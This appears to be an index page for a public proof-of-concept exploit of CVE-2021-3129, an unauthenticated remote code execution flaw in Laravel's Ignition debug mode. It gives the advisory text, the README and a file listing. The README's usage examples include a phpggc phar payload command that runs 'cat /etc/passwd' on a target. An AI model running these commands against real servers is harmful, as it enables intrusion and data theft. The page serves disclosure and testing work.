CVE-2021-3129 PoC — Facade Ignition for Laravel 授权问题漏洞

Source

https://github.com/hupe1980/CVE-2021-3129

Associated Vulnerability

Title:Facade Ignition for Laravel 授权问题漏洞 (CVE-2021-3129)
Description:Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.

Description

Laravel debug mode - Remote Code Execution (RCE)

Readme

# CVE-2021-3129
Laravel debug mode - Remote Code Execution (RCE)

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3129
- https://www.ambionics.io/blog/laravel-debug-rce
- https://github.com/ambionics/phpggc

# Example
```bash
python3 exploit.py http://127.0.0.1:8080
```
```bash
python3 exploit.py http://127.0.0.1:8080 --phar $(php -d phar.readonly=off -d phar.require_hash=off ./phpggc --phar phar -f monolog/rce1 system 'cat /etc/passwd' | base64 -w 0)
```

File Snapshot


 [4.0K]  /data/pocs/df5d5402edd4d5603951cb69b1db323bf0d39a08
├── [4.1K]  exploit.py
├── [1.0K]  LICENSE
└── [ 471]  README.md

0 directories, 3 files

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